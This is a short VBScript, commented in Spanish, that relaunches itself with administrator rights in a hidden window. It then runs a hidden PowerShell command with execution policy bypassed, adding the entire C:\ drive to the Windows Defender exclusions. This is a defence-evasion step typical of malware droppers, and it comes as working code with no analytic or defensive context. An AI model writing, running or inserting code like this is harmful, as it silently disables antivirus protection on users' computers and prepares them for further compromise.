If WScript.Arguments.length = 0 Then
Set objShell = CreateObject("Shell.Application")
' Ejecutar con permisos de administrador sin ventana
objShell.ShellExecute "wscript.exe", Chr(34) & WScript.ScriptFullName & Chr(34) & " uac", "", "runas", 0
Set objShell = CreateObject("WScript.Shell")
exclusionPath = "C:\"
' Comando PowerShell sin mostrar ventana
cmd = "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command ""Add-MpPreference -ExclusionPath '" & exclusionPath & "'"""
' Ejecutar en segundo plano sin mostrar ventana
objShell.Run "cmd /c " & cmd, 0, True
End If